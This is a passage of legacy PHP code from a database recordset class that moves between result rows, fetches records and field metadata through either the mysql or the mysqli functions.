$this->fetchMode); } else { $this->fields = @mysql_fetch_array($this->resultId, $this->fetchMode); } if ($this->fields) { $this->_currentRow += 1; return true; } if (!$this->EOF) { $this->_currentRow += 1; $this->EOF = true; } return false; } /** * Move to the first row in the recordset. Many databases do NOT support this. * * @return true or false */ function MoveFirst() { if ($this->_currentRow == 0) return true; return $this->Move(0); } /** * Returns the Last Record * * @access public */ function MoveLast() { if ($this->EOF) return false; return $this->Move($this->_numOfRows - 1); } /** * Random access to a specific row in the recordset. Some databases do not support * access to previous rows in the databases (no scrolling backwards). * * @param rowNumber is the row to move to (0-based) * * @return true if there still rows available, or false if there are no more rows (EOF). */ function Move($rowNumber = 0) { if ($rowNumber == $this->_currentRow) return true; $this->EOF = false; if ($this->_numOfRows > 0) { if ($rowNumber >= $this->_numOfRows - 1) { $rowNumber = $this->_numOfRows - 1; } } if ($this->_seek($rowNumber)) { $this->_currentRow = $rowNumber; if ($this->_fetch()) { return true; } $this->fields = false; } $this->EOF = true; return false; } /** * Perform Seek to specific row * * @access private */ function _seek($row) { if ($this->_numOfRows == 0) return false; if (EW_USE_MYSQLI) { return @mysqli_data_seek($this->resultId, $row); } else { return @mysql_data_seek($this->resultId, $row); } } /** * Fills field array with first database element when query initially executed * * @access private */ function _fetch() { if (EW_USE_MYSQLI) { $this->fields = @mysqli_fetch_array($this->resultId, $this->fetchMode); } else { $this->fields = @mysql_fetch_array($this->resultId, $this->fetchMode); } return is_array($this->fields); } /** * Check to see if last record reached * * @access public */ function EOF() { if ($this->_currentRow < $this->_numOfRows) { return false; } else { $this->EOF = true; return true; } } /** * Returns All Records in an array * * @access public * @param [nRows] is the number of rows to return. -1 means every row. */ function &GetArray($nRows = -1) { $results = array(); $cnt = 0; while (!$this->EOF && $nRows != $cnt) { $results[] = $this->fields; $this->MoveNext(); $cnt++; } return $results; } function &GetRows($nRows = -1) { $arr = & $this->GetArray($nRows); return $arr; } function &GetAll($nRows = -1) { $arr = & $this->GetArray($nRows); return $arr; } /** * Fetch field information for a table. * * @return object containing the name, type and max_length */ function FetchField($fieldOffset = -1) { if (EW_USE_MYSQLI) { // $fieldOffset not supported by mysqli $fieldObject = @mysqli_fetch_field($this->resultId); } else { if ($fieldOffset != -1) { $fieldObject = @mysql_fetch_field($this->resultId, $fieldOffset); $fieldObject->max_length = @mysql_field_len($this->resultId, $fieldOffset); } else { $fieldObject = @mysql_fetch_field($this->resultId); $fieldObject->max_length = @mysql_field_len($this->resultId); } } return $fieldObject; } } ?>